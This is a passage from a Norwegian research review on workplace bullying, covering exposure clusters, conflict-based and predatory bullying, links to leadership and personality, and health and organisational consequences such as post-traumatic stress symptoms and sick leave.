hver gruppe samt hvilken sannsynlighet de ulike gruppene har for \u00e5 oppgi et gitt svaralternativ p\u00e5 et gitt sp\u00f8rsm\u00e5l om eksponering for negative handlinger p\u00e5 arbeidsplassen. |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n**Tabell 1**.\u00a0Resultatene fra en latent cluster-analyse i et datamateriale med 6145 belgiske arbeidstakere som hadde svart p\u00e5 sp\u00f8rsm\u00e5l om eksponering for til sammen 18 ulike negative handlinger typisk for mobbing (Notelaers, Einarsen, DeWitte, Vermunt, 2006). Analysen viser st\u00f8rrelsen p\u00e5 hver gruppe samt hvilken sannsynlighet de ulike gruppene har for \u00e5 oppgi et gitt svaralternativ p\u00e5 et gitt sp\u00f8rsm\u00e5l om eksponering for negative handlinger p\u00e5 arbeidsplassen.\n\nAlvorlig mobbing\n\nAntall i clusteret\n\nAldri utsatt\nAv og til utsatt\n31\u00a0%\n\nM\u00e5nedlig utsatt\n\n0,5\u00a0%\n\n2\u00a0%\n\n8\u00a0%\n\n12\u00a0%\n\n22\u00a0%\n\nUkentlig/daglig\n\n0,5\u00a0%\n3\u00a0%\n\n10\u00a0%\n\n32\u00a0%\n\nEn stor gruppe arbeidstakere (35\u00a0%) opplevde sv\u00e6rt f\u00e5 mobbehandlinger. I denne gruppen var det hele 92\u00a0prosent sannsynlighet for at man ikke hadde opplevd noen negative handlinger fra andre i l\u00f8pet av det siste halv\u00e5ret. En annen stor gruppe (28\u00a0%) opplevde ogs\u00e5 meget lite utilb\u00f8rlig opptreden p\u00e5 jobben. Sannsynligheten var her 72\u00a0prosent for at de ikke hadde opplevd noen form for mobbing, mens den var ca. 25 prosent for at de kunne ha opplevd en gitt handling av og til. I f\u00f8rste rekke var dette jobbrelatert kritikk. En tredje gruppe hadde 64\u00a0prosent sannsynlighet for at de aldri hadde opplevd noen av de spesifikke handlingene de ble spurt om, mens de hadde 34\u00a0prosent sannsynlighet for \u00abav og til\u00bb \u00e5 oppleve en eller annen form for utilb\u00f8rlig opptreden, og da s\u00e6rlig personrelatert kritikk. Til sammen utgjorde disse tre gruppene rundt 80\u00a0prosent av alle som deltok i unders\u00f8kelsen. En gruppe p\u00e5 ni prosent hadde imidlertid kun 31\u00a0prosent sannsynlighet for \u00e5 svare \u00abaldri\u00bb p\u00e5 de 18 utilb\u00f8rlige handlingene. Derimot var det tiln\u00e6rmet 60 prosent sannsynlighet for at de hadde opplevd en negativ handling \u00abav og til\u00bb de siste seks m\u00e5nedene. Gruppen ble i denne studien kalt \u00abmulige mobbeofre\u00bb, fordi mange av disse vil kunne ha god grunn til \u00e5 oppleve seg mobbet. Neste gruppe, som utgjorde 8 prosent av utvalget, opplevde bare noen f\u00e5 handlinger, men de opplevde til gjengjeld disse handlingene ofte; deres arbeidsoppgaver og arbeidssituasjon ble forandret p\u00e5 en ubehagelig m\u00e5te, samtidig som de f\u00f8lte seg satt utenfor p\u00e5 jobben. Antagelig er de kommet p\u00e5 kant med sin leder, der lederen eller andre kolleger overser dem eller fryser dem ut, samtidig med at lederen er i ferd med \u00e5 endre jobbsituasjonen deres p\u00e5 en negativ m\u00e5te. Denne gruppen var alts\u00e5 karakterisert av \u00e5 oppleve utfrysing og arbeidsrelatert mobbing. Den siste gruppen (ca 3\u00a0%) var imidlertid uten tvil utsatt for meget alvorlig mobbing, ved at de hadde hele 30\u00a0% sannsynlighet for \u00e5 v\u00e6re utsatt for en gitt handling ukentlig eller daglig. I tillegg opplevde de mange negative handlinger av og til, mens det var s\u00e5 lite som 15\u00a0prosent sjanse for at de aldri hadde opplevd en gitt negativ handling. Med andre ord; mange arbeidstakere opplever negative handlinger forbundet med mobbing i sin jobbsituasjon. Det finnes ogs\u00e5 ulike grupper mobberammede med ulik eksponering n\u00e5r det gjelder mobbingens intensitet og art. Mens en liten gruppe p\u00e5 noen f\u00e5 prosent opplever meget intens mobbing, er det mange som er i risikogrupper for \u00e5 oppleve seg mobbet ved at de opplever enten noen f\u00e5 typer negative handlinger ofte eller ved at de er eksponert for en rekke ulike handlinger som hver for seg opptrer mindre hyppig. En analyse vi har gjort p\u00e5 norske data, har identifisert de samme gruppene n\u00e5r det gjelder eksponering, skj\u00f8nt med en noen lavere forekomst av mobbing (Nielsen, Skogstad et al., 2008).\n\n## \u00c5rsaker til mobbing\n\n### To former for mobbing\n\nTeoretisk kan det skilles mellom to hovedformer for mobbing (Einarsen, 1999), *stridsmobbing* og *rovmobbing*. Stridsmobbing er en mobbesituasjon som har sitt opphav i en eskalert mellommenneskelig konflikt mellom partene. Uenigheter, irritasjoner eller frustrasjoner mellom to eller flere personer har f\u00e5tt utvikle seg i en sterkt negativ retning. Mange oppgir for eksempel at mobbesaken startet ved at de tok opp et problem p\u00e5 arbeidsplassen, eller ved at de stod for et annet syn enn lederen p\u00e5 arbeidsplassen. Disse konfliktene blir etter hvert s\u00e5 intense at de tar form av mobbing og trakassering av den \u00absvakeste\u00bb parten i konflikten. Ubalansen i styrkeforholdet mellom partene kan ha v\u00e6rt til stede helt fra starten (som for eksempel i en leder\u2013medarbeider-relasjon), eller det kan v\u00e6re et resultat av den forutg\u00e5ende konflikten, for eksempel ved at en medarbeider vinner omgivelsens st\u00f8tte. Ved rovmobbing (se ogs\u00e5 Glas\u00f8, Nielsen et al., 2007) er den som rammes, tilfeldigvis i en situasjon der noen utf\u00f8rer maktovergrep, eller der noen bruker aggresjon for egen vinnings skyld, for eksempel ved \u00e5 baktale en kollega for selv \u00e5 f\u00e5 mer interessante arbeidsoppgaver. Mobbingen er da en m\u00e5te \u00e5 demonstrere eller misbruke makt p\u00e5; for eksempel ved \u00e5 tvinge noen til \u00e5 adlyde, ved \u00e5 utnytte et tilfeldig offer til egen vinning, eller ved \u00e5 skaffe seg egne fordeler p\u00e5 andres bekostning. Et annet eksempel kan v\u00e6re situasjoner der noen urettferdig gj\u00f8res til syndebukk, eller der generelle fordommer i samfunnet spiller seg ut p\u00e5 arbeidsplassen, det v\u00e6re seg rasisme eller kj\u00f8nns- og aldersdiskriminering. Seksuell trakassering, i form av at noen utsettes for u\u00f8nskede og utilb\u00f8rlige handlinger av en sosio-seksuell karakter, gjerne av eldre kolleger eller ledere (Einarsen, Raknes & Matthiesen, 1993), og en generell aggressiv lederstil hos en leder (Einarsen, Skogstad, Aasland & L\u00f8seth, 2002; Nielsen, Matthiesen & Einarsen, 2005) kan v\u00e6re andre eksempler p\u00e5 situasjoner som kan karakteriseres som rovmobbing.\n\n### Mobbing og psykososiale forhold i arbeidsmilj\u00f8et\n\nEn mulig forklaring p\u00e5 hvorfor mobbing forekommer i arbeidslivet, er at mobbing for\u00e5rsakes av et generelt d\u00e5rlig psykososialt arbeidsmilj\u00f8 preget av mistrivsel, stress og uklare arbeidsforhold som s\u00e5 utl\u00f8ser aggresjon og konflikter, noe som igjen kan utvikle seg til mobbing. I en tidlig norsk studie ble det funnet at b\u00e5de ofrene for mobbing og de som var vitne til mobbing, var mer misforn\u00f8yde enn andre arbeidstakere med en lang rekke psykososiale forhold ved arbeidsmilj\u00f8et (Einarsen & Raknes, 1991; Einarsen, Raknes & Matthiesen, 1994). S\u00e6rlig viktige i denne forbindelse var sp\u00f8rsm\u00e5l knyttet til mangelfull eller destruktiv ledelse, opplevelse av rollekonflikt og opplevelse av lav egenkontroll. Slike faktorer er ogs\u00e5 nylig dokumentert \u00e5 ha sterke sammenhenger med mobbing i en landsrepresentativ unders\u00f8kelse der s\u00e6rlig f\u00f8lgende forhold kjennetegnet arbeidsmilj\u00f8 med mye mobbing (se Einarsen et al., 2007):\n\n  - et h\u00f8yt konfliktniv\u00e5 i avdelingen\n  - manglende eller unnvikende ledelse\n  - s\u00e6rlig autorit\u00e6r og aggressiv lederstil hos n\u00e6rmeste overordnede\n  - h\u00f8y grad av rollekonflikt og rolleuklarhet\n  - lav egenkontroll\n\nDet kan tenkes at ulike arbeidsmilj\u00f8faktorer er relatert til mobbing i ulike kontekster og bransjer. En norsk studie i seks ulike bransjer viste nettopp dette (Einarsen, Raknes, & Matthiesen, 1994), samtidig som at rollekonflikt og d\u00e5rlig ledelse gjennomg\u00e5ende var de viktigste faktorene i alle de unders\u00f8kte bransjene.\n\n### Mobbing og destruktiv lederatferd\n\nB\u00e5de ut fra empiri og ut fra arbeidsmilj\u00f8loven er mobbing n\u00e6r knyttet til ledelse og lederes atferd. Arbeidsmilj\u00f8loven sl\u00e5r fast at arbeidsgiveren og dennes ledere er ansvarlig for \u00e5 arbeide forebyggende og gjenopprettende i forhold til mobbing (Pedersen & Einarsen, 2007). Flere studier har vist en positiv sammenheng mellom mobbing og et arbeidsmilj\u00f8 med d\u00e5rlige eller frav\u00e6rende ledere (Einarsen, Raknes, Matthiesen et al., 1994). I en studie blant 7986 arbeidstakere i Hordaland oppga 54 prosent av ofrene at de hadde v\u00e6rt mobbet av en eller flere ledere (Einarsen & Skogstad, 1996). Senere unders\u00f8kelser blant rene offergrupper viser at s\u00e5 mange som 81\u00a0% oppgir at de er mobbet av en eller flere ledere (Einarsen, Matthiesen, & Mikkelsen, 1999; Nielsen et al., 2005). I en ny studie ble det vist at unnvikende ledelse hos n\u00e6rmeste leder gav grobunn for konflikter, rolleuklarhet og rollekonflikter i arbeidsmilj\u00f8et, noe som i neste omgang bidro til mobbing (Skogstad, Einarsen, Torsheim, Aasland & Hetland, 2007). En studie basert p\u00e5 et representativt utvalg av 3800 engelske arbeidstakere viste at b\u00e5de aktive og passive former for destruktiv ledelse hos n\u00e6rmeste overordnede hadde sterk samvariasjon med det \u00e5 oppleve seg utsatt for mobbing (Hoel, Glas\u00f8, Hetland & Cooper, 2008). Unnvikende ledelse modererer ogs\u00e5 sammenhengene mellom rollekonflikt og konflikter p\u00e5 den ene siden og mobbing p\u00e5 den andre (Hauge, Skogstad & Einarsen, 2007). Ledere som ikke h\u00e5ndterer konflikter i avdelingen, vil dermed kunne legge til rette for at mobbing oppst\u00e5r. Blant annet er det blitt funnet at konflikt med ledere er mye sterkere relatert til mobbing enn konflikter med kolleger og hvorvidt man arbeider i en virksomhet med store omstillinger (Skogstad, Matthiesen & Einarsen, 2007), noe som ofte er oppgitt som en \u00e5rsak til mobbing. Ledere som opptrer tyrannisk, dvs. at de vektlegger produksjon og m\u00e5loppn\u00e5else p\u00e5 bekostning av medarbeideres ve og vel, viser ogs\u00e5 s\u00e6rlig sterk sammenheng med medarbeideres rapportering av mobbing (Nielsen et al., 2005).\n\nMobbing fra ledere har ogs\u00e5 en sterkere effekt p\u00e5 ofrenes helse enn mobbing fra kolleger har (Einarsen, Raknes, Matthiesen et al., 1994). Med utgangspunkt i intervjuer med personer utsatt for \u00abhelsefarlige ledere\u00bb observerte Kile (1990a) at ofrene opplevde flere alvorlige fysiske og psykiske symptomer slik som angst, depresjon, rastl\u00f8shet, irritasjon, kvalme og ulike former for hjerteproblemer. Ofrene i Kiles studie fortolket lederens atferd som den direkte \u00e5rsaken til problemene, samtidig som de mente at de hadde v\u00e6rt b\u00e5de sunne og friske f\u00f8r de opplevde mobbing fra sin leder. Sammenhengen mellom ledelse og mobbing kan dermed v\u00e6re direkte ved at ledere st\u00e5r for mobbingen, og indirekte ved at ledere unng\u00e5r \u00e5 forebygge eller h\u00e5ndtere risikosituasjoner og begynnende konflikter. Videre vil lederes maktposisjon ved at de forvalter b\u00e5de mulige bel\u00f8nninger og mulig straff overfor en underordnet, tilsi at effekten av deres handlinger vil kunne v\u00e6re betydelig st\u00f8rre enn de handlingene som ut\u00f8ves av kolleger. En studie av f\u00f8lelser i samspillet mellom ledere og underordnede viste da ogs\u00e5 at frustrasjon, usikkerhet og ikke minst krenkelse var viktige f\u00f8lelsesmessige dimensjoner i denne relasjonen (Glas\u00f8 & Einarsen, 2006).\n\n### Mobbing og personlighet\n\nEt kontroversielt sp\u00f8rsm\u00e5l i litteraturen er personlighetsfaktorers betydning i forhold til \u00e5 bli utsatt for mobbing p\u00e5 arbeidsplassen (se ogs\u00e5 Zapf & Einarsen, 2003). Leymann og Gustafsson (1996) mente at det ikke finnes personlighetsforskjeller mellom offer og andre arbeidstakere, og avviste at offerets personlige egenskaper kunne spille noen rolle i utviklingen av mobbing. Eventuelle avvikende personlige kjennetegn hos ofre m\u00e5tte sees som en naturlig reaksjon p\u00e5 en vanskelig livssituasjon. Teoretisk kan man imidlertid tenke seg at personlighet b\u00e5de kan p\u00e5virke hvordan man opplever og fortolker andres atferd, hvordan man reagerer p\u00e5 mobbing, og hvordan man mestrer andres aggresjon. Personlighet kan imidlertid ogs\u00e5 tenkes \u00e5 bidra til atferd som provoserer frem reaksjoner fra andre. S\u00e5 lenge mobbing i de fleste studier sees p\u00e5 som en subjektiv opplevelse av \u00e5 v\u00e6re utsatt for en negativ behandling som man ikke klarer \u00e5 forsvare seg mot, vil offerets personlighet og helsetilstand, tidligere livserfaringer og totale livssituasjon selvsagt kunne p\u00e5virke hvordan man opplever og fortolker hendelser p\u00e5 jobben og sine egne muligheter til mestring av de problemer man opplever (Einarsen et al., 2005). V\u00e5re egne studier viser ogs\u00e5 at mobbeofre har lavere selvaktelse og h\u00f8yere sosial angst enn andre, og at de ofte er kjennetegnet ved h\u00f8ye sk\u00e5rer p\u00e5 nevrotisisme (Einarsen, Raknes, Matthiesen et al., 1994). Mange ofre er ogs\u00e5 deprimert og mistenksomme (Matthiesen & Einarsen, 2001).\n\nForskning indikerer imidlertid at mobbeofre ikke er en ensartet gruppe, men tvert imot kan deles inn i undergrupper med ulik personlighet (Zapf, 1999). Glas\u00f8, Matthiesen, Nielsen og Einarsen (2007) har for eksempel identifisert to ulike offergrupper med hver sin typiske personlighetsprofil. Den ene gruppen hadde en personlighetsprofil som lignet en matchet kontrollgruppe, mens den andre offergruppen besto av arbeidstakere som var signifikant mindre samvittighetsfulle, mindre omgjengelige, mer innadvendte og nevrotiske og mindre \u00e5pne for forandringer enn arbeidstakerne i den andre offergruppen og kontrollgruppen. Denne offergruppen utgjorde imidlertid kun 1/3 av ofrene. Flertallet skilte seg derfor ikke fra andre arbeidstakere med samme kj\u00f8nn, alder, utdanning og yrke. I en studie av MMPI-2-profiler blant 85 ofre for mobbing fant Matthiesen og Einarsen (2001) at disse ofrene som gruppe hadde samme profil som en gruppe amerikanske mobbeofre (Gandolfo, 1995), med eleverte sk\u00e5rer p\u00e5 skala 1, 2, 3, 6 og 8, og en typisk 3\u20132\u20131-konfigurasjon. En slik konfigurasjon tilsier psykosomatiske plager med angst og depresjon, vanskelige sosiale relasjoner, samt et forsvar preget av fornekting og forskyvning av f\u00f8lelsesmessige reaksjoner (Graham, 1993). Imidlertid viste ogs\u00e5 denne studien at det kun var en mindre gruppe ofre som skilte seg ut med forh\u00f8yede sk\u00e5rer, samt at mange ofre overhodet ikke hadde noen avvik fra en normalpopulasjon.\n\nSelv om enkelte mobbeofre har en elevert personlighetsprofil, inneb\u00e6rer ikke dette n\u00f8dvendigvis at det er en direkte sammenheng mellom personlighet og mobbing. I en unders\u00f8kelse blant 2539 norske arbeidstakere ble det funnet at utvalget kunne deles i seks undergrupper med s\u00e6regne personlighetsprofiler i forhold til problemer i samhandling med andre mennesker (Glas\u00f8, Nielsen, & Einarsen, 2008). Blant disse var det to grupper med ofre for mobbing, en gruppe med mobbere, en gruppe som s\u00e5 p\u00e5 seg selv som b\u00e5de offer og mobber, samt to grupper som verken var mobbere eller ofre. Unders\u00f8kelsen viste igjen at ofre ikke er en ensartet gruppe. I tillegg indikerte funnene at rundt halvparten av ofrene tilsynelatende ikke hadde noen s\u00e6rskilte problemer i mellommenneskelig samhandling. Til sist viste resultatene at en gruppe mobbeofre var kjennetegnet av h\u00f8ye sk\u00e5rer p\u00e5 de ulike formene for problemer i mellommenneskelig samhandling. Det overraskende var likevel at det ogs\u00e5 ble funnet en tilsvarende problemprofil blant en stor gruppe personer som ikke hadde v\u00e6rt involvert i noen form for mobbekonflikt. Hele 40 prosent av arbeidstakerne rapporterte at de hadde problemer i samhandling med andre, uten at de ble mobbet av den grunn. Dermed synes det klart at det ikke finnes noen ensartet \u00abofferpersonlighet\u00bb blant mobbofre. Mange ofre skiller seg ikke nevneverdig fra andre arbeidstakere n\u00e5r det gjelder personlighet. Samtidig er det mange arbeidstakere som opplever at de har problemer i samspillet med andre uten at de utsettes for mobbing av den grunn. P\u00e5 den annen side kan det ikke utelukkes at personer med en elevert profil har st\u00f8rre risiko enn andre for \u00e5 utsettes for mobbing i fremtiden. Vi kan heller ikke se bort fra at personligheten like gjerne kan endres av \u00e5 utsettes for mobbing, som at personlighet predisponerer for mobbing.\n\nN\u00e5r det gjelder personligheten til de som mobber, vet vi mye mindre. De fleste studier p\u00e5 mobbing baserer seg p\u00e5 erfaringer og synspunkter fra ofrene. I Norden har sp\u00f8rsm\u00e5let om eventuelle personlighetstrekk hos mobberne i liten grad v\u00e6rt diskutert, selv om psykologisk litteratur inneholder en rekke begreper knyttet til overgripere og mobbere, s\u00e5 som den autorit\u00e6re personlighet (Tepper, 2000), skoleg\u00e5rdsb\u00f8llen (Olweus, 2003), psykopaten og den stakkarslige tyrannen (Ashforth, 1994; Podsaskoff, Todor, Grover, & Huber, 1984). Selv om vi ikke vet mye om de som mobber, er det funnet at personer som innr\u00f8mmet \u00e5 ha mobbet andre, beskriver seg selv som d\u00e5rlig sosialt fungerende, som usikre i sosiale sammenhenger og med et noe lavere selvbilde enn andre (Matthiesen & Einarsen, 2007). De beskriver seg ogs\u00e5 som personer som er mer aggressive enn andre folk. Bildet er imidlertid ikke klart fordi resultater fra andre studier indikerer at mobbere kan ha et selvbilde som ikke avviker fra den \u00f8vrige befolkning (Baumeister, Smart & Boden, 1996), og til og med kan ha et h\u00f8yere selvbilde enn andre (Kernis, Cornell, Sun, Berry, & Harlow, 1993). Mobberes personlighet ble ogs\u00e5 kartlagt i den overnevnte unders\u00f8kelsen blant 2539 norske arbeidstakere. Resultatene fra denne unders\u00f8kelsen viser at mobbere rapporterer mer problemer i mellommenneskelige samspill enn b\u00e5de andre som ikke er involvert i noen mobbekonflikt, og mange mobbeofre. Samtidig var det mange ikke-involverte og andre ofre som hadde en betydelig mer elevert profil enn mobberne. Resultatene omkring mobbernes personlighet m\u00e5 derfor tolkes med forsiktighet (Glas\u00f8 et al., 2008). Vi vet heller ikke om disse personene er representative for alle dem som oppleves som mobbere. Mange mobbere er nok ikke villige til \u00e5 innr\u00f8mme at de oppleves slik av andre, eller de er ikke klar over at andre opplever dem som mobbere (Einarsen, Raknes, Matthiesen et al., 1994). Vi m\u00e5 derfor konkludere med \u00e5 si at vi strengt tatt vet for lite om mobberne (Se ellers Zapf & Einarsen (2003) for en teoretisk dr\u00f8fting av sp\u00f8rsm\u00e5l knyttet til mobbing og personlighet).\n\n\n\n**Figur 1.**\u00a0***Klyngeprofiler og multiple sammenligninger p\u00e5 IIP-C-dimensjoner mellom seks grupper: ikke-involvert 1 (n=776), ikke-involvert 2 (n=1372), offer 1 (n=42), offer 2 (n=38), overgripere (n=38), og offer og overgripere (n=24). H\u00f8y sk\u00e5re p\u00e5 personlighetsskalaen indikerer h\u00f8y grad av personlighetstrekket (Glas\u00f8, Nielsen & Einarsen, 2008).***\n\n## Konsekvenser av mobbing\n\nMobbing har en rekke negative konsekvenser b\u00e5de for den som rammes, for kollegene som observerer det som skjer, for samfunnet og for den enkelte virksomhet der mobbingen forekommer. Imidlertid er det i forhold til konsekvenser hos den som rammes, at det finnes mest empirisk forskning. \u00c5 oppleve mobbing er forbundet med en betydelig reduksjon i jobbtilfredshet, samt en \u00f8kt rapportering av b\u00e5de fysiske og mentale helseproblemer, inkludert konsentrasjonsvansker, s\u00f8vnproblemer, depresjon og angst (Einarsen et al., 2003). Resultater fra en rekke unders\u00f8kelser viser at mobbeofre gjennomg\u00e5ende rapporterer langt flere helseplager enn andre arbeidstakere (Einarsen et al., 2003; Hoel, Faragher & Cooper, 2004; Zapf, Knorz & Kulla, 1996). Mange sliter ogs\u00e5 med skamf\u00f8lelse, d\u00e5rlig selvaktelse og manglende selvtillit (Einarsen, Raknes, Matthiesen et al., 1994).\n\nI forhold til de helsemessige konsekvensene av mobbing kan det v\u00e6re fruktbart \u00e5 skille mellom *akutte reaksjoner*, *reaksjoner etter langvarige opplevelser* og eventuelle *ettervirkninger* av mobbingen. Akutte reaksjoner er ofte forbundet med uro, engstelse, fortvilelse og forvirring. Psykiske plager som s\u00f8vnl\u00f8shet, anspenthet, depresjoner og lav selvrespekt er vanlig. I tilfeller der mobbingen har foreg\u00e5tt over lengre tid, kan det oppst\u00e5 ulike psykosomatiske forstyrrelser og plager. I en gjennomgang av en rekke intervjuunders\u00f8kelser som har betonet de negative konsekvensene av langvarig mobbing for offerets fysiske og psykiske helse, ble det funnet at psykosomatiske symptomer som hodepine, mageproblemer, s\u00f8vnl\u00f8shet, angst, depresjon, diar\u00e9, kvalme, allergiske reaksjoner og selvmordstanker forekommer i st\u00f8rre eller mindre grad (Einarsen, Raknes, Matthiesen et al., 1994). I en gjennomgang av studier om mobbing fant Rayner og kolleger (2002) at ansatte som var utsatt for vedvarende mobbing, hadde st\u00f8rre sannsynlighet for \u00e5 v\u00e6re plaget av stress, angst og depresjoner enn arbeidstakere som ikke var blitt mobbet. Tilsvarende funn er gjort i en unders\u00f8kelse blant danske arbeidstakere (Mikkelsen & Einarsen, 2001), mens det i en representativ studie blant 935 norske hjelpepleiere ogs\u00e5 ble p\u00e5vist en sterk sammenheng mellom mobbing og utbrenthet (Einarsen, Matthiesen, & Skogstad, 1998).\n\nForskning blant b\u00e5de barn og voksne indikerer at helseplagene til personer som har v\u00e6rt utsatt for langvarig mobbing, i stor grad samsvarer med symptomer p\u00e5 posttraumatisk stresslidelse (Leymann & Gustafsson, 1996; Matthiesen & Einarsen, 2004; Tehrani, 2004), slik de er beskrevet i APAs DSM-IV-kriterier (American Psychiatric Association, 2000). If\u00f8lge DSM-IV-kriteriene er en hendelse traumatiserende i den grad den inneb\u00e6rer en direkte trussel mot ofrenes *fysiske* integritet (American Psychiatric Association, 2000). Selv om det kan diskuteres hvorvidt mobbing p\u00e5 arbeidsplassen kan betraktes som en fysisk trussel (se for eksempel Einarsen & Mikkelsen, 2003; Weaver, 2000), viser flere unders\u00f8kelser en sammenheng mellom det \u00e5 ha v\u00e6rt utsatt for mobbing og symptomer p\u00e5 posttraumatisk stress. I en studie blant 102 norske ofre for mobbing ble det funnet at 72\u00a0% av respondentene hadde en symptomsk\u00e5re over anbefalte grenseverdier for posttraumatisk stress (Matthiesen & Einarsen, 2004). Slike symptomer synes \u00e5 vedvare selv mange \u00e5r etter at ofrene var ute av jobbsituasjonen der mobbingen foregikk (Einarsen et al., 1999). Tilsvarende resultat ble avdekket i en studie av danske mobbeofre (Mikkelsen & Einarsen, 2002). Ogs\u00e5 i denne unders\u00f8kelsen kom det fram at symptomene vedvarte til tross for at mobbingen var avsluttet flere \u00e5r tilbake. \u00c5 v\u00e6re mobbet av leder er s\u00e6rskilt belastende. I en studie blant norske ofre som hadde opplevd mobbing fra ledere, ble det p\u00e5vist at hele 84 prosent av ofrene hadde symptomer p\u00e5 posttraumatisk stress (Nielsen et al., 2005).\n\nUlike forklaringer er gitt p\u00e5 hvorfor mobbing oppleves som s\u00e5 belastende at man utvikler symptomer p\u00e5 posttraumatisk stress. En mulig forklaring er personlighet og da s\u00e6rlig negativ affektivitet. Matthiesen og Einarsen (2004) fant klare sammenhenger mellom positiv og negativ affektivitet og symptomer p\u00e5 posttraumatisk stress. I denne unders\u00f8kelsen fant de imidlertid ikke noen sammenheng mellom affektivitet og mobbing. Negative affekt viste seg verken \u00e5 moderere eller mediere sammenhengene mellom mobbing og posttraumatisk stress. En annen forklaring p\u00e5 hvorfor mobbing gir s\u00e5 sterke posttraumatiske symptomer er Janoff-Bulmans (1992) teori om at traumereaksjoner skyldes at et traume ryster de grunnleggende antakelser folk har om seg selv, livet og verden. I en studie der 118 danske ofre for mobbing ble sammenlignet med en matchet kontrollgruppe best\u00e5ende av ikke-mobbede personer, ble det funnet signifikante forskjeller mellom gruppene p\u00e5 seks av \u00e5tte grunnleggende antakelser. Ofrene betraktet seg selv som mindre verdifulle, mindre dyktige og mer uheldige enn kontrollgruppen. I tillegg opplevde de verden som mindre menneskekj\u00e6rlig, kontrollerbar og rettferdig, mens andre mennesker ble oppfattet som lite st\u00f8ttende og lite omsorgsfulle. Resultatene viste tydelige sammenhenger mellom svekkede grunnleggende antakelser og symptomer p\u00e5 posttraumatisk stress. Ogs\u00e5 mobbeofrenes opplevelse av sense of coherence, dvs. tiltro til seg selv og helhet i omgivelsene, synes \u00e5 ha sammenheng med utvikling av langvarige stressproblemer. I en unders\u00f8kelse av 221 personer som hadde v\u00e6rt utsatt for mobbing, viste funnene at h\u00f8y \u00absense of coherence\u00bb har en beskyttende effekt for personer som er utsatt for lav grad av mobbing, men at effektene avtar n\u00e5r mobbingen blir mer alvorlig (Nielsen, Matthiesen & Einarsen, 2008). Dermed tyder resultatene p\u00e5 at det \u00e5 v\u00e6re utsatt for grov mobbing er en traumatiserende opplevelse, uavhengig av tilgjengelige mestringsressurser.\n\nP\u00e5 bakgrunn av disse studiene, som har dokumentert en klar sammenheng mellom mobbing og til dels alvorlige helseproblemer, er det overraskende at forskningen ikke kan dokumentere en tilsvarende entydig sammenheng mellom mobbing og sykefrav\u00e6r. I en norsk studie blant medlemmer av 14 fagforeninger ble det for eksempel konkludert med at mobbing kun forklarte 1 prosent av variasjonen i sykefrav\u00e6r (Einarsen & Raknes, 1991). Noe av forklaringen kan v\u00e6re at mobbeofre velger \u00e5 g\u00e5 p\u00e5 jobb selv om de f\u00f8ler seg syke, i frykt for at frav\u00e6ret kan forsterke utst\u00f8tingen. En noe sterkere sammenheng ble funnet i en nyere finsk studie blant sykehusansatte, der det viste seg at personer som hadde v\u00e6rt utsatt for mobbing, hadde 26 prosent st\u00f8rre sannsynlighet for frav\u00e6r. Totalt forklarte mobbing 2 prosent av det totale sykefrav\u00e6ret for de involverte sykehusene, noe som utgjorde en kostnad p\u00e5 1,5 millioner norske kroner (Kivim\u00e4ki, Elovainio & Vathera, 2000). Betydelige kostnader forbundet med sykefrav\u00e6r som f\u00f8lge av mobbing ble p\u00e5vist i en nasjonal unders\u00f8kelse om mobbing i Storbritannia, der resultatene viste at ofre for mobbing i gjennomsnitt hadde syv flere frav\u00e6rsdager som f\u00f8lge av sykdom enn arbeidstakere som verken hadde v\u00e6rt mobbet eller v\u00e6rt vitne til mobbing (Hoel & Cooper, 2000). Med utgangspunkt i forekomst av mobbing p\u00e5 10 prosent vil dette alene for Storbritannia utgj\u00f8re 18 millioner tapte arbeidsdager \u00e5rlig (Hoel, Einarsen & Cooper, 2003). Videre har flere studier rapportert at mobbing er forbundet med planer om \u00e5 forlate arbeidsplassen (jf. Hoel et al., 2003). I en finsk studie fant Vartia (1993) blant annet at 46\u00a0% av de personene som hadde v\u00e6rt utsatt for mobbing, vurderte \u00e5 slutte i arbeidet, mens Rayner (1997) p\u00e5viste at \u00e9n av fire tidligere ofre for mobbing hadde sluttet i jobben p\u00e5 grunn av handlingene de hadde v\u00e6rt utsatt for.\n\nEffekten av mobbing p\u00e5 en organisasjons produktivitet er vanskelig \u00e5 fastsl\u00e5 direkte, da den gjerne vil v\u00e6re et utslag av en dynamikk mellom faktorer som helse, mistrivsel, sykefrav\u00e6r og turnover. I en studie av norske fagforeningsmedlemmer ble det imidlertid funnet at til sammen 27 prosent av deltakerne sa seg helt eller delvis enige i p\u00e5standen om at: \u00abmobbing p\u00e5 min arbeidsplass reduserer v\u00e5r effektivitet\u00bb (Einarsen, Raknes, Matthiesen et al., 1994). Resultatene fra en tilsvarende britisk studie viste at 32,5 prosent mente at mobbing p\u00e5 egen arbeidsplass reduserte virksomhetens effektivitet (Hoel, Cooper & Faragher, 2001). Til syvende og sist er det imidlertid samfunnet som m\u00e5 betale kostnadene som f\u00f8lger av mobbing i form av ekstra utgifter til langtidssykefrav\u00e6r, medisinsk og psykologisk behandling, arbeidsl\u00f8shet og f\u00f8rtidspensjonering. Dette f\u00f8rer til et ytterligere press p\u00e5 ressursene i et allerede hardt presset helse- og sosialvesen. Ikke sjelden m\u00e5 p\u00e5r\u00f8rende ta seg fri for \u00e5 pleie et offer i krise og personlig oppl\u00f8sning. Tap av forventet samfunnsmessig produktivitet er derfor et alvorlig utslag av mobbing p\u00e5 arbeidsplassen. I tillegg vil mobbing ofte ramme offerets n\u00e6rmeste familie, venner og andre p\u00e5r\u00f8rende som direkte eller indirekte blir involvert i konflikten.\n\n## Konklusjon\n\nS\u00e5 langt viser forskning at mobbing forekommer i alle deler av arbeidslivet og i alle typer organisasjoner (Einarsen, Raknes, Matthiesen et al., 1994; Einarsen et al., 2007). Mobbing er et komplisert sosialt fenomen som kan ha mange ulike opphav, ytringsformer og \u00e5rsaker (se ogs\u00e5 Einarsen, 1999, 2000; Einarsen et al., 2003). \u00c5rsaksforholdene ser i stor grad ut til \u00e5 v\u00e6re knyttet til arbeidsmilj\u00f8forhold\u00a0\u00a0 og ledelsesforhold, mer enn til individuelle kjennetegn og personlighet hos de involverte. Konsekvensene er alvorlige for de enkeltpersonene som rammes, deres kolleger og for virksomheten sin helhet. Vi vet imidlertid fortsatt for lite om hvordan mobbing best kan forebygges og h\u00e5ndteres. *Intervensjonsstudier* i organisasjoner er derfor det neste n\u00f8dvendig steget i dette feltet. I denne forbindelse er det viktig \u00e5 kombinere et organisasjonspsykologisk perspektiv med et juridisk (se ogs\u00e5 Einarsen & Pedersen, 2007), da arbeidsmilj\u00f8loven regulerer slike forhold og stiller krav til partenes, og 